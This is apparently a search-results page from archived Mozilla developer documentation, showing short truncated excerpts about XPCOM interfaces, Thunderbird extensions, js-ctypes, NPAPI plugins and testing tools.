CII AppendLiteral(const char AppendLiteral(char operator+= Insert Cut SetCapacity SetLength Truncate GetData GetMutableData SetIsVoid StripChar Data Members No public members. Methods Constructors void nsACString_internal(const nsCSubstringTuple&) - source this is public to support automatic conversion of tuple to string base type, which helps avoid converting to nsTAString. Parameters nsCSubstringTuple& tuple void nsACString_internal(char*, PRUint32, PRUint32) - source Parameters char* data PRUint32 length PRUint32 flags BeginReading char* BeginReading() const - source reading iterators nsReadingIterator<char>& BeginReading(nsReadingIterator<char>&) const - source deprecated reading iterators Parameters nsReading...
nsAString_internal
ASCII AppendLiteral(const char AppendLiteral(char operator+= Insert Cut SetCapacity SetLength Truncate GetData GetMutableData SetIsVoid StripChar Data Members No public members. Methods Constructors void nsAString_internal(const nsSubstringTuple&) - source this is public to support automatic conversion of tuple to string base type, which helps avoid converting to nsTAString. Parameters nsSubstringTuple& tuple void nsAString_internal(PRUnichar*, PRUint32, PRUint32) - source Parameters PRUnichar* data PRUint32 length PRUint32 flags BeginReading PRUnichar* BeginReading() const - source reading iterators nsReadingIterator<short unsigned int>& BeginReading(nsReadingIterator<short unsigned int>&) const - source deprecate...
nsMemory
These routines allow easy access to XPCOM's global nsIMemory implementation without having to go through the service manager to get it. #include "nsMemory.h" class nsMemory { ... }; Methods Alloc The Alloc function allocates a block of memory of a particular size. Realloc The Realloc function reallocates a block of memory to a new size. Free The Free function frees a block of memory that was allocated by XPCOM's memory manager. HeapMinimize The HeapMinimize function attempts to shrink the size of the heap. ...
XPCOM glue classes
These routines allow easy access to XPCOM's global nsIMemory implementation without having to go through the service manager to get it.nsPromiseFlatCStringClass DeclarationnsPromiseFlatStringClass DeclarationnsRefPtrRefPtr (formerly known as nsRefPtr, see bug 1207245) is a general class to implement reference counting pointers for objects. It is similar to nsCOMPtr, b...
IAccessible2
rator would be used whenever the reuse pool was empty. [propget] HRESULT uniqueID( [out] long uniqueID ); Parameters uniqueID Return value S_OK. windowHandle() Returns the window handle for the parent window which contains this object. This is the same window handle which will be passed for any events that occur on the object, but is cached in the accessible object for use when it would be helpful to access the window handle in cases where an event isn't fired on this object. A use case is when a screen reader is grabbing an entire web page on a page load. Without the availability of windowHandle, the AT would have to get the window handle by using WindowFromAccessibleObject on each IAccessible, which is slow because it's implemented by oleacc.dll as a loop which crawls up the ancestor ...
mozIStorageConnection
ns the previous registered handler. rollbackTransaction() This method rolls back the current transaction. This is essentially an "undo," and returns the database to the state it was in before the transaction began. void rollbackTransaction(); Parameters None. setGrowthIncrement() Lets you set the amount by which the SQLite database file is grown or shrunk when resizing is necessary. This helps avoid disk fragmentation by letting you help SQLite make intelligent decisions about resizing of the file. Note: This works by adjusting the SQLITE_FCNTL_CHUNK_SIZE setting in SQLite. void setGrowthIncrement( in PRInt32 aIncrement, in AUTF8String aDatabaseName ); Parameters aIncrement The number of bytes at a time the database file should grow by. aDatabaseName The database file fo...
mozIStorageStatementWrapper
The mozIStorageStatementWrapper interface is a storage statement wrapper. When you call the mozIStorageConnection interface's createStatement() method, you get a mozIStorageStatement which has just direct bindings to SQLITE. You can then wrap that statement with a wrapper, which implements nsIXPCScriptable and provides scriptable helpers letting you execute the statement as a function, access bind variables by name as properties, etc. Firefox 3.5 note Firefox 3.5 adds support for these features directly into the mozIStorageStatement interface, so this interface is essentially deprecated. storage/public/mozIStorageStatementWrapper.idlScriptable Please add a summary to this article. Last changed in Gecko 1.8 (Firefox 1.5 / Thunderbird 1.5 / SeaMonkey 1.0) Inherits fro...
nsIAppStartup
1.0 66 Introduced Gecko 1.8 Inherits from: nsISupports Last changed in Gecko 9.0 (Firefox 9.0 / Thunderbird 9.0 / SeaMonkey 2.6) Implemented by: @mozilla.org/toolkit/app-startup;1. ...
nsICommandLine
nd remove. aCaseSensitive Whether to do case-sensitive comparisons. Return value true if the flag was found, otherwise false. handleFlagWithParam() Finds a flag in the list of flags waiting to be processed and returns its value, after removing both the flag and its value from the list of flags waiting to be handled. This is useful for processing flags that accept a value. This is, essentially, a helper method that combines findFlag() and removeArguments() into one operation. AString handleFlagWithParam( in AString aFlag, in boolean aCaseSensitive ); Parameters aFlag The flag name to find and remove. aCaseSensitive Whether to do case-sensitive flag search. Return value The value of the specified flag, an empty string if the flag's value is the empty string, or null if the specified para...
nsICommandLineRunner
LineRunner.idlScriptable Please add a summary to this article. Last changed in Gecko 1.8 (Firefox 1.5 / Thunderbird 1.5 / SeaMonkey 1.0) Inherits from: nsICommandLine Method overview void init(in long argc, in nsCharPtrArray argv, in nsIFile workingDir, in unsigned long state); void run(); void setWindowContext(in nsIDOMWindow aWindow); Attributes Attribute Type Description helpText AUTF8String Process and combine the help text provided by each command-line handler. Read only. Methods init() Called with the argc/argv combination passed to main. It assumes a native character set. On Windows the character set is UTF-8, not the native codepage. void init( in long argc, in nsCharPtrArray argv, in nsIFile workingDir, in unsigned long state ); Parameters argc The ...
nsIDOMEvent
0x00010000 SUBMIT 0x00020000 SCROLL 0x00040000 LOAD 0x00080000 UNLOAD 0x00100000 XFER_DONE 0x00200000 ABORT 0x00400000 ERROR 0x00800000 LOCATE 0x01000000 MOVE 0x02000000 RESIZE 0x04000000 FORWARD 0x08000000 HELP 0x10000000 BACK 0x20000000 TEXT 0x40000000 ALT_MASK 0x00000001 CONTROL_MASK 0x00000002 SHIFT_MASK 0x00000004 META_MASK 0x00000008 Methods Violates the XPCOM interface guidelines Deserialize() boolean Deserialize( in ConstIPCMessagePtr aMsg, out voidPtr aIter ); Parameters ...
nsIDownload
ains this download. Use the guid property instead for safe, database-agnostic searching and manipulation. Read only. Deprecated since Gecko 19.0 guid AString The guid of the download that is stored in the database. Has the form of twelve alphanumeric characters. Read only. MIMEInfo nsIMIMEInfo Provides the targets relevant MIME information, including its MIME type, helper application, and whether or not the helper should be executed automatically once the download is complete. Read only. Optional percentComplete long The percentage of the file transfer that has been completed, or -1 if the file's size is unknown. Read only. referrer nsIURI The referrer URI of the download. This is only valid for HTTP downloads, and can be null. Re...
nsIDownloadManager
be set to nsIDownloadManager.DOWNLOAD_TYPE_DOWNLOAD (that is, zero). aSource The source URI of the transfer. Must not be null. aTarget The URI indicating where the transferred file should be stored. Must not be null. aDisplayName A user-readable description of the transfer. May be an empty string. aMIMEInfo The MIME information associated with the target; this may include MIME type and helper application when appropriate. This parameter is optional. aStartTime The time at which the download began. aTempFile The location of a temporary file (a file in which the received data will be stored but is not equal to the target file). The file will be moved to the location indicated by aTarget when the download is complete. This may be null. aCancelable An object that can be used to ab...
nsIEditor
ead only. Returns true if the document is modifed and needs saving. flags unsigned long Edit flags for this editor. May be set at any time. isDocumentEditable PRBool Read only. Returns true if we have a document that is not marked read-only. isSelectionEditable boolean Read only. true if the current selection anchor is editable; otherwise false. This helps to support cases where only parts of the document are editable, by letting you see if the current selection is in an editable section. rootElement nsIDOMElement Read only. The root editable element, which for a document is its body. selection nsISelection Read only. The selection/caret for this editor. In the case of a design mode document, this is the same as the ...
nsIFileSpec
Declared in xpcom/obsolete/nsIFileSpec.idl Don't use this interface. ...
nsIHttpChannelInternal
opRequest events are still delivered and the listener gets full control over the socket if and when nsIHttpUpgradeListener.onTransportAvailable() is delivered. void HTTPUpgrade( in ACString aProtocolName, in nsIHttpUpgradeListener aListener ); Parameters aProtocolName The value of the HTTP Upgrade request header. aListener The callback object used to handle a successful upgrade. setCookie() Helper method to set a cookie with a consumer-provided cookie header, but using the channel's other information (URI's, prompters, date headers and so on.). void setCookie( in string aCookieHeader ); Parameters aCookieHeader The cookie header to be parsed. setupFallbackChannel() Sets up this channel as an application cache fallback channel. void setupFallbackChannel( in string aFallbackKey ); ...
nsIMsgCompFields
r(char* name, char* value); References This interface is the type of the following properties: nsIMsgCompose.compFields, nsIMsgComposeParams.composeFields This interface is passed as an argument to the following methods: nsIMsgComposeSecure.beginCryptoEncapsulation, nsIMsgComposeSecure.requiresCryptoEncapsulation, nsIMsgSend.createAndSendMessage, nsIMsgSend.sendMessageFile, nsISMimeJSHelper.getNoCertAddresses, nsISMimeJSHelper.getRecipientCertsInfo ...
nsIMsgDatabase
() [noscript] void ListAllKeys(in nsMsgKeyArrayRef outputKeys); EnumerateMessages() nsISimpleEnumerator EnumerateMessages(); EnumerateThreads() nsISimpleEnumerator EnumerateThreads(); syncCounts() Count the total and unread msgs, and adjust global count if needed. void syncCounts(); GetThreadContainingMsgHdr() nsIMsgThread GetThreadContainingMsgHdr(in nsIMsgDBHdr msgHdr) ; MarkHdrRead() Helpers for user command functions like delete, mark read, etc. void MarkHdrRead(in nsIMsgDBHdr msgHdr, in boolean bRead, in nsIDBChangeListener instigator); MarkHdrReplied() void MarkHdrReplied(in nsIMsgDBHdr msgHdr, in boolean bReplied, in nsIDBChangeListener instigator); MarkHdrMarked() void MarkHdrMarked(in nsIMsgDB...
nsIMsgIncomingServer
eateFoldersOnServer boolean canDelete boolean can this server be removed from the account manager? for instance, local mail is not removable, but an imported folder is. canEmptyTrashOnExit boolean Read only. canFileMessagesOnServer boolean canHaveFilters boolean Read only. canSearchMessages boolean Read only. canUndoDeleteOnServer boolean Read only. constructedPrettyName AString helper function to construct the pretty name in a server type specific way - for example, mail for foo@test.com, news on news.mozilla.org. Read only. defaultCopiesAndFoldersPrefsToServer boolean If the server supports Fcc/Sent/etc, default prefs can point to the server. Otherwise, copies and folders prefs should point to Local Folders. By default this value is set to true via global pref 'allows_sp...
nsISHEntry
o entries A and B will have the same docIdentifier if we arrived at B by clicking an anchor link in A or if B was created by A's calling history.pushState(). docshellID unsigned long long The history ID of the docshell. document nsIDOMDocument DOM Document. Obsolete since Gecko 1.8 expirationStatus boolean Indicates whether the page is already expired in cache. ID unsigned long An ID to help identify this entry from others during subframe navigation. layoutHistoryState nsILayoutHistoryState LayoutHistoryState for scroll position and form values. loadType unsigned long The loadType for this entry. This is typically loadHistory except when reload is pressed, it has the appropriate reload flag. owner nsISupports Get the owner, if any, that was associated with the channel that the ...
nsIScriptableIO
Getting File Information | Reading from Files | Writing to Files | Moving, Copying and Deleting Files | Uploading and Downloading Files | Working With Directories ] Important note: The pages from the File and Stream Guide use the IO object (nsIScriptableIO), which was not available in any released version of the platform (pending some fixes). There are alternative XPCOM APIs you can use, your help in updating this pages to use the supported API is very much welcome! Other documentation on files and I/O not using the unavailable nsIScriptableIO APIs: Code snippets: File I/O, Open and Save Dialogs, Reading textual data, Writing textual data, List of file-related error codes. nsIScriptableIO provides a convenient API for creating files and streams, as well as for reading and writing data to t...
nsIWebNavigationInfo
Returned by isTypeSupported() to indicate that a type is supported via some other means. Methods isTypeSupported() Determines whether or not the specified MIME type is supported by the given nsIWebNavigation object. This lets you determine whether a MIME type can be displayed as-is inside a browser, or if the browser will instead forward handling of the data to a plug-in or an external helper application. Note: This method may cause plug-ins to be rescanned in order to ensure they are properly registered for the types they support. unsigned long isTypeSupported( in ACString aType, in nsIWebNavigation aWebNav ); Parameters aType The MIME type to check. aWebNav The nsIWebNavigation object on which to check for compatibility. You may specify null to check for co...
nsIWindowMediator
ows of a given type open. var wm = Components.classes["@mozilla.org/appshell/window-mediator;1"] .getService(Components.interfaces.nsIWindowMediator); var win = wm.getMostRecentWindow(type); Changing an nsIDOMWindow to an nsIXULWindow If you need an nsIXULWindow, you should use getXULWindowEnumerator(). However, if you are looking for the most recent nsIXULWindow, it can be helpful to get the corresponding nsIXULWindow from the nsIDOMWindow returned by getMostRecentWindow(). win.QueryInterface(Components.interfaces.nsIInterfaceRequestor) .getInterface(Components.interfaces.nsIWebNavigation) .QueryInterface(Components.interfaces.nsIDocShellTreeItem).treeOwner .QueryInterface(Components.interfaces.nsIInterfaceRequestor) .getInterface(Components.int...
nsIZipReader
in zip, and it uses forward slashes remember) var entry = zr.getEntry(entryPointer); // should return true on `entry instanceof Ci.nsIZipEntry` console.log('entryPointer', entryPointer); /* CONSOLE OUTPUT * "entryPointer" "bootstrap.js" Scratchpad/1:18 */ console.info('entry', entry); /* CONSOLE OUTPUT * "entry" XPCWrappedNative_NoHelper { QueryInterface: QueryInterface(), compression: Getter, size: Getter, realSize: Getter, CRC32: Getter, isDirectory: Getter, lastModifiedTime: Getter, isSynthetic: Getter, permissions: Getter, compression: 8 } Scratchpad/1:19 */ if (!entry.isDirectory) { var inputStream = zr.getInputStream(entryPointer); reusableStreamInstance.init(inputStream); ...
nsMsgSearchWidgetValue
Defined in comm-central/ mailnews/ base/ search/ public/ nsMsgSearchCore.idl FEs use this to help build the search dialog box typedef long nsMsgSearchWidgetValue; /* FEs use this to help build the search dialog box */ [scriptable,uuid(903dd2e8-304e-11d3-92e6-00a0c900d445)] interface nsMsgSearchWidget { const nsMsgSearchWidgetValue Text = 0; const nsMsgSearchWidgetValue Date = 1; const nsMsgSearchWidgetValue Menu = 2; const nsMsgSearchWidgetValue Int = 3; /* added to account for age in days which requires an integer field */ const nsMsgSearchWidgetValue None = 4; }; ...
NS_IF_ADDREF
Does nothing for a null pointer. Only use this macro if the pointer might be NULL; use NS_ADDREF otherwise. ...
NS_IF_RELEASE
This macro also sets the pointer to NULL. NS_IF_RELEASE has no effect when the pointer is NULL. This macro should only be used when the pointer might be NULL; otherwise, use NS_RELEASE. ...
XPCOM Interface Reference by grouping
chingChannel nsISelectionImageService Chrome nsISearchEngine nsISearchSubmission nsIWebBrowserChrome nsIWindowCreator nsIWindowMediator nsIWindowWatcher Clipboard nsIClipboard nsIClipboardCommands nsIClipboardDragDropHookList nsIClipboardDragDropHooks nsIClipboardHelper nsIClipboardOwner Core Action nsITransactionManager Process nsIProcess nsIProcess2 Thread nsIThread nsIThreadEventFilter nsIThreadInternal nsIThreadManager nsIThreadObserver ...
NS_CStringContainerInit2
if successful. Otherwise, it returns an error code. Remarks After a nsCStringContainer object has been initialized via NS_CStringContainerInit2, it may be used as an ordinary nsACString object. When the string object is no longer needed, it should be passed to NS_CStringContainerFinish to free any extra memory that the string object may have allocated. It is generally better to use one of the helper classes, such as nsCString, instead of coding directly to NS_CStringContainerInit2 because those classes take care of cleaning up the string object when it goes out of scope. When NS_CStringContainerInit2 is told to copy aData, the copy it creates is null-terminated. This is significant as it allows the programmer to be certain that NS_CStringGetData will return a null-terminated character arra...
XPCOM reference
The contents herein are oriented primarily toward extension developers and people embedding XPCOM in other projects. If you're working on a module in the Mozilla codebase that's compiled with the MOZILLA_INTERNAL_API flag set, some of these APIs -- the string functions and classes in particular -- are not the ones you should be using. See the XPCOM internal string guide for documentation of the internal string API used within the Mozilla codebase. ...
Warnings
Sort Operations This warning message will say something about the number of sort operations that have occurred for a SQL statement. This happens when you have an ORDER BY clause that does not use an index. When you do not use an index, all the results from the query have to first be fetched, and then those results are sorted. However, when the index is used, the data can be obtained row by row from the database, which will be much faster. ...
Troubleshooting XPCOM components registration
. Pass the -Wl,-z,defs flag to gcc when linking your component. This will ensure that undefined symbols show an error at link time instead of failing at run time. Mac-specific hints Use ktrace to see if Firefox is trying to load your components. Use dyld environment variables to trace binary component loading: DYLD_PRINT_APIS=1 DYLD_PRINT_LIBRARIES=1 (see `man dyld` for details). Further help If the component still does not load, you may wish to ask for help. The extension-related places are often useful; please refer to the Community section on the Extensions page. ...
Status, Recent Changes, and Plans
need to cast getter_AddRefs when an nsISupports** is needed. Relaxed the invariant for nsCOMPtr<nsISupports>, so that it is now a pointer to any XPCOM interface. Added do_QueryReferent to make using nsIWeakReferences easier. Plans for nsCOMPtr bug 59212: as soon as we test on more compilers, start recommending already_AddRefed as a function result. bug 59414: making operator& private may help prevent some leaks caused by casting Move the factored nsCOMPtr routines into their own library, to reduce nsCOMPtr clients' dependency on the XPCOM library. Recent changes to this document Removed the statement that == and != between an nsCOMPtr and a raw pointer or literal 0 does not work on some compilers since it is no longer true. Added an entire section to the Getting Started Guide o...
Using nsCOMPtr
You'll have to turn to the XPCOM newsgroup or another experienced nsCOMPtr user, or find the answer by experimentation. If you've never used nsCOMPtr before, you're starting in the right place. Just keep reading. You'll know when to stop. After you've been using nsCOMPtrs for a while, and you reach unfamiliar territory, or run into compiler errors; you may want to return to this document to get help from the Reference Manual or the FAQ. Contents Status, Recent Changes, and Plans Recent changes to nsCOMPtr Getting Started Guide Introduction Using nsCOMPtr Summary Reference Manual The Basics Initialization and Assignment Using an nsCOMPtr<T> as a T* Efficiency and Correctness Compiler Annoyances Frequently Asked Questions Buildti...
Using the Gecko SDK
For information on how to retrieve and install the Gecko SDK, see here. ...
Using the clipboard
This section provides information about cutting, copying, and pasting to and from the clipboard. The clipboard Mozilla provides a number of interfaces for accessing the clipboard. The component @mozilla.org/widget/clipboardhelper;1 can be used to copy text to the clipboard. This component implements the interface nsIClipboardHelper, which has a function copyString that can be used to copy a string. const gClipboardHelper = Components.classes["@mozilla.org/widget/clipboardhelper;1"] .getService(Components.interfaces.nsIClipboardHelper); gClipboardHelper.copyString("Put me on the clipboard, please."); This example will first create a clipboard helper and then copy a short string to the clipboard. This method only works to put strings on the clipboa...
Weak reference
weak reference scheme to give you a pointer that implements the interface you actually care about, e.g., // Note: _not_ the implementation we have... nsWeakPtr<nsIFoo> weakFooPtr = fooPtr; // ... if ( weakFooPtr ) status = weakFooPtr->SomeFooMethod(...); This is a reasonable thing to want. It's expensive to implement automatically, however. Neither inheritance, nor templates, nor macros can help automatically forward all the method calls to the real object. XPIDL could write an implementation for you (if we modified it), or you could write one by hand as I discuss below. There are other, mostly negligible, costs: it's an extra indirection per call, and the easy implementation requires adding an extra pointer per interface to the target implementation. Why can't I just QueryInterface bet...
XPCOM
x add-ons and the like.XPCOM ownership guidelines...naturally. If you create a temporary object, obviously it's up to you to destroy it. That's a sure sign of ownership. If you create an object with a longer lifespan, you will own it until you give ownership away.XPCOM referenceThis reference describes the interfaces and functions provided by the XPCOM library. In addition, it details the various helper classes and functions, as well as the components, provided by the XPCOM glue library. The contents herein are oriented primarily toward extension developers and people embedding XPCOM in other projects.XPCOM tasksThe XPCOM module roughly parallels the C/C++ standard libraries. It overlaps them significantly, but goes beyond them in capabilities. XPCOM sits above the standard libraries. Its role...
XPIDL
pitalization is still applied). However, the capitalization is not applied when using binaryname with attributes; i.e., [binaryname(foo)] readonly attribute Quux bar; becomes Getfoo(Quux**) in native code. Attributes named 'IID' and methods named 'GetIID' are forbidden, although this is checked before binaryname conversion. The implicit_jscontext and optional_argc parameters are properties which help native code implementations determine how the call was made from script. If implicit_jscontext is present on a method, then an additional JSContext *cx parameter is added just after the regular list which receives the context of the caller. If optional_argc is present, then an additional uint8_t _argc method is added at the end which receives the number of optional arguments that were actually us...
Xray vision
Gecko runs JavaScript from a variety of different sources and at a variety of different privilege levels. The JavaScript code that along with the C++ core, implements the browser itself is called chrome code and runs using system privileges. If chrome-privileged code is compromised, the attacker can take over the user's computer. JavaScript loaded from normal web pages is called content code. Because this code is being loaded from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user. ...
Test-Info
ding detailed information on tests run in continuous integration, typically broken down by bugzilla component. Data files are typically consumed by dashboards, like www.arewefissionyet.com. Running test-info locally "test-info" is a mach command and can be run from any source tree. test-info has several sub-commands; the "report" sub-command is used by the test-info tasks mozilla-central$ mach help test-info report To reproduce test-info(all): mozilla-central$ mach test-info report --show-tests --show-summary --show-activedata Running test-info on try To run these tasks on try, use something like: mach try fuzzy -q test-info Contact information test-info is maintained by :gbrown. Bugs should be filed in Testing :: General. ...
The Valgrind Test Job
at have corresponding suppressions. But generally errors should be fixed rather than suppressed. When running locally, you may see errors that do not occur on the test machines. Errors in system libraries can generally be ignored, because they are out of our control and the kind of thing we suppress on the test machines. Errors in Mozilla code should probably be reported in bugs! If you need help or experience problems If you need help with the Valgrind test job, please contact Nicholas Nethercote or Gary Kwong. Julian Seward can also help with Valgrind issues. Alternatively, bugs relating to the test job can be filed in the "Testing" product, under the "General" component. Please CC :njn and :gkw on any such bugs. ...
Testing Mozilla code
ASan Nightly ProjectThe ASan Nightly Project involves building a Firefox Nightly browser with the popular AddressSanitizer tool and enhancing it with remote crash reporting capabilities for any errors detected.Clang static analysisThis document is split in two parts. ...
Address Book examples
hen you will have to implement the full interfaces mentioned above. At the moment, the best example of this is the EDS contacts integration add-on. Once you've added your own address book implementation, you might also want to extend the address book user interface. How do I extend the address book user interface? There are several hooks in the address book code exposed to add-on developers to help extend the behavior of the address book. Load and save listeners Edit dialogs for both contacts and mailing lists expose functions for registering load and save listeners. For example, in order to register a load listener for a contact, the following should take place within the scope of the contact editor dialog: /* An example load listener for a contact * aCard the nsIAbCard being loaded *...
Events
Composition Event Name Event Type Fired when... ...
Mail composition back end
The Mail Composition back end is responsible for the assembly and creation of RFC822 messages to be delivered either via SMTP or NNTP services. You also have the ability to save RFC822 files to disk, should you need this data for some reason. Included in this functionality is the code to copy the messages to the approp...
Building a Thunderbird extension 1: introduction
derbird extension) Installing locally (enabling the extension on your local Thunderbird instance) Packaging (making a distribution package that contains the extension) Distributing (from your own site or from http://addons.mozilla.org/) This tutorial is compatible with Thunderbird versions 2,3 and 5. All Thunderbird builds are available from the ftp site. References and resources Tools and helper extensions There are many tools available that help with developing Thunderbird extensions. At a minimum you will need: Text editor: Any editor that is capable of writing plain text can be used to write extensions. However, most developers use an editing program optimized for writing code (also known as an Integrated Development Environment). These provide features like syntax highlighting ...
Creating a Custom Column
aying and sorting) are done for you in the background - so that all that's left to you, the Extension developer is to populate the code with your feature. Don't forget that columns aren't restricted to text - they can also load images (via getImageSrc()) so that your extension can display a new visual cue to the user. As you develop your custom extension, please revisit this article and add any helpful hints that you find along the way! Caveats Some weird behaviors have been witnessed, namely failing to be notified of the MsgCreateDBView event when Enigmail is installed [protz]. What happens is: usually, the event sequence is: jsm load -> onload -> MsgCreateDBView with Enigmail, the event sequence becomes jsm load -> MsgCreateDBView -> onload To workaround this, you can either i) man...
Tips and Tricks from the newsgroups
The following discussions on mozilla.dev.apps.thunderbird and mozilla.dev.extensions include useful tips for Thunderbird add-on developers. Please feel free to add links to threads. We will add a categorization system as the link list grows. You can also help by creating how-tos from any of these topics. Extensions Load an extension in its own tab Run shell scripts from an extension (for example, to create a symlink) Get extension metadata Call Java from Thunderbird extensions (also an example here, written for Firefox but compatible with Thunderbird 3.x) Define a custom protocol handler to call an external program Save Attachment and send it Repeat image display using CSS sprites Messages Use ReminderFox to open a message in the default Thunde...
Thunderbird extensions
Building a Thunderbird extension Step-by-step explanation on how to build an extension for Thunderbird. The following documentation provides help for creating extensions for the Thunderbird email client. There are similarities with Firefox extensions, but there are also differences that may confound the starting Thunderbird developer. This documention series focuses on Thunderbird. Need personalized help? See Community / Communications. Warning: This content is for older versions of Thunderbird. Much of it may no longer be relevant. See developer.thunderbird.net for newer information. Documentation Getting started with Thunderbird A brave, young developer wants to develop an add-on for Thunderbird. These links to help through this journey. ...
Using MAPI with Thunderbird's Windows 7 developer builds
sets the installed build as the default mapi/mail client. If you want to set a debug build as the default mail client, you need configure it manually: In the objdir/mozilla/dist/bin directory, copy mozMapi32.dll to mozMapi32_InUse.dll and MapiProxy to MapiProxy_InUse.dll. (Be sure to copy - not move - these files.) In the uninstall sub-directory of the bin directory, run these two commands: helper.exe /SetAsDefaultAppGlobal helper.exe /SetAsDefaultAppUser Create an elevated shell and register the MAPI proxy.dll as a COM server. (One way to create an elevated shell is to invoke the command prompt from the Start menu, right click, and select Run as Administrator.) In the elevated shell, change to the objdir/mozilla/dist/bin directory and enter this command: regsvr32 MapiProxy_InUse.dll...
Thunderbird
in a familiar high-productivity environment. (From early 2007 to early 2011 Thunderbird was developed by Mozilla Messaging, a subsidiary owned by Mozilla.) Documentation Building Thunderbird Information about building Thunderbird with the comm-central repository. There's also information about how the review process works and how to use the Mozilla symbol server to help with debugging. MailNews Protocols Rough documentation about mail protocols.. Database views Backend information about nsIMsgDBView and related interfaces. Thunderbird API documentation Thunderbird API documentation Extension documentation Tutorials and tips for building Thunderbird extensions View All... Community Thunderbi...
Using the Mozilla symbol server
* /s SRV*C:\symcache\*https://symbols.mozilla.org/ Note the \* after the Mozilla directory. The output of this command should be similar to: SYMCHK: fullsoft.dll FAILED - Image is split correctly, but fullsoft.dbg is missing SYMCHK: qfaservices.dll FAILED - qfaservices.pdb mismatched or not found SYMCHK: talkback.exe FAILED - Built without debugging information. SYMCHK: helper.exe FAILED - Built without debugging information. SYMCHK: FAILED files = 4 SYMCHK: PASSED + IGNORED files = 179 Downloading symbols on Linux / Mac OS X If you are on Linux and running GDB 7.9 or newer, you can use this GDB Python script to automatically fetch symbols. You will need to source this script before loading symbols (the part where it spends a few seconds loading each .
Working with windows in chrome code
alog, but a better way to do that is to use preferences observers. Example 4: Using nsIWindowWatcher when you don't have a window (primitives only) For those times when you don't have access to a window object (such as a JavaScript XPCOM object), you can use nsIWindowWatcher.openWindow to open a XUL window. The problem is passing the data. It's a bit harder than using window.openDialog. ...
Add to iPhoto
path to the temporary items folder and appends the image file's name to that path. Then we call createUnique() to create a unique file by that name (or a derivative thereof if the name is already in use), and download the contents of the image file to that local file. Closing remarks This is a fairly simple example of how to use js-ctypes, but it actually does something useful, and should be a helpful demonstration not just for how to use js-ctypes, but also more specifically for developers that want to interface with Mac OS X system frameworks. ...
Using COM from js-ctypes
eclare('CoUninitialize', WINABI, VOID // return ); // http://msdn.microsoft.com/en-us/library/windows/desktop/ms686615%28v=vs.85%29.aspx let CoCreateInstance = lib.declare('CoCreateInstance', WINABI, HRESULT, // return REFCLSID, // rclsid LPUNKNOWN, // pUnkOuter DWORD, // dwClsContext REFIID, // riid LPVOID // *ppv ); // HELPER FUNCTIONS function checkHRESULT(hr /*primative HRESULT*/, funcName /*jsStr*/) { // primative because thats what is returned by declared functions that // return HRESULT hr = hr.toString(); // makes it primative if (hr < 0) { console.error('HRESULT', hr, 'returned from function ', funcName /*, 'getStrOfResult:', getStrOfResult(hr)*/); throw n...
Memory Management
the underlying memory is still referenced. When binary code hands back a pointer/handle to allocated memory, the JS code must make sure to free that memory with the correct allocator. It is usually best to expose a freeing function from the binary. Keeping objects alive The following js-ctypes objects will hold references to objects, keeping them alive. This is not an exhaustive list, but will help you to understand memory management and how it affects your use of js-ctypes: A function or static data declared using the declare() method will hold that library alive. A CType will hold referent CType objects alive. A CData will hold referent CData objects alive, under specific circumstances. For example, a CData object produced by accessing a field of a structure or the internals of an a...
Using js-ctypes
StringRef/#//apple_ref/c/func/CFStringCreateWithCharacters * CFStringRef CFStringCreateWithCharacters ( * CFAllocatorRef alloc, * const UniChar *chars, * CFIndex numChars * ); */ var CFStringCreateWithCharacters = libcf.declare('CFStringCreateWithCharacters', ctypes.default_abi, CFStringRef, // return CFAllocatorRef, // alloc UniChar.ptr, // *chars CFIndex // numChars ); // HELPER FUNCTIONS function makeCFStr(jsStr) { // js str is just a string // returns a CFStr that must be released with CFRelease when done return CFStringCreateWithCharacters(null, jsStr, jsStr.length); } // MAIN var myCFStrs = { head: makeCFStr('Core Foundation Says...'), body: makeCFStr('We just called the equivalent of the "StandardAlert Carbon function" for 64bit OSX from JavaScript!') }; va...
Flash Activation: Browser Comparison - Plugins
In each browser, the decision to enable Flash is made by users on a per-site basis. ...
Drawing and Event Handling - Plugins
e variable parameter. This parameter is valid only for the Unix and MS Windows platforms. For Unix, the values are either the current display (NPNVxDisplay) or the application's context (NPNVxtAppContext). For MS Windows, the value is the native window on which the plug-in drawing occurs (NPNVnetscapeWindow). The value parameter contains the name of the plug-in. You can also use NPN_GetValue to help create a menu or dialog box for a windowless plug-in. Windowed Plug-ins The browser gives each windowed plug-in its own native window, often a child window of the the browser window itself, to draw into. The plug-in has complete control over drawing and event handling within that window. On Mac OS, the browser does not give a windowed plug-in a native window, because the Mac OS platform does n...
Streams - Plugins
twork, disk I/O error, lack of memory, or some other problem. Finding Out How Much Data the Plug-in Can Accept After a call to NPP_NewStream and before writing data to the plug-in, the browser calls NPP_WriteReady to determine the maximum number of bytes that the plug-in can consume. This function allows the browser to send only as much data to the instance as it can handle at one time, and it helps both the browser and the plug-in to use their resources efficiently. After a call to NPP_NewStream, in which the plug-in requested a normal-mode stream, the browser delivers the data in the stream progressively in a series of calls to NPP_WriteReady and NPP_Write. The browser calls NPP_WriteReady before each call to NPP_Write. The value returned by NPP_WriteReady indicates how many bytes the p...
Version, UI, and Status Information - Plugins
at the user needs to see, such as error messages. Getting Agent Information A plug-in can check which browser is running on the user's current system. Browsers communicate with HTTP servers, which store agent software name, version, and operating system in a user_agent field. If you want to gather usage statistics or just find out the version of your plug-in's host browser, this information can help you. The plug-in calls the NPN_UserAgent method to retrieve the contents of the user_agent field. const char* NPN_UserAgent(NPP instance); The instance parameter represents the current plug-in instance. This function returns a string that contains the user_agent field of the browser. Getting the Current Version Your plug-in should make sure, possibly during initialization, that the version ...
Gecko Plugin API Reference - Plugins
Plug-in Basics How Plug-ins Are Used Plug-ins and Helper Applications How Plug-ins Work Understanding the Runtime Model Plug-in Detection How Gecko Finds Plug-ins Checking Plug-ins by MIME Type Overview of Plug-in Structure Understanding the Plug-in API Plug-ins and Platform Independence Windowed and Windowless Plug-ins The Default Plug-in Using HTML to Display Plug-ins Plug-in Display Modes Using the object Element for Plug-in Display Nesting Rules for HTML Elements Using the Appropriate Attributes Using the embed Element for Plug-in Display Using Custom embed Attributes Plug-in References Plug-in Development Overview Writing Plug-ins Registering Plug-ins MS Windows Unix Mac OS X Drawi...
Color vision simulation - Firefox Developer Tools
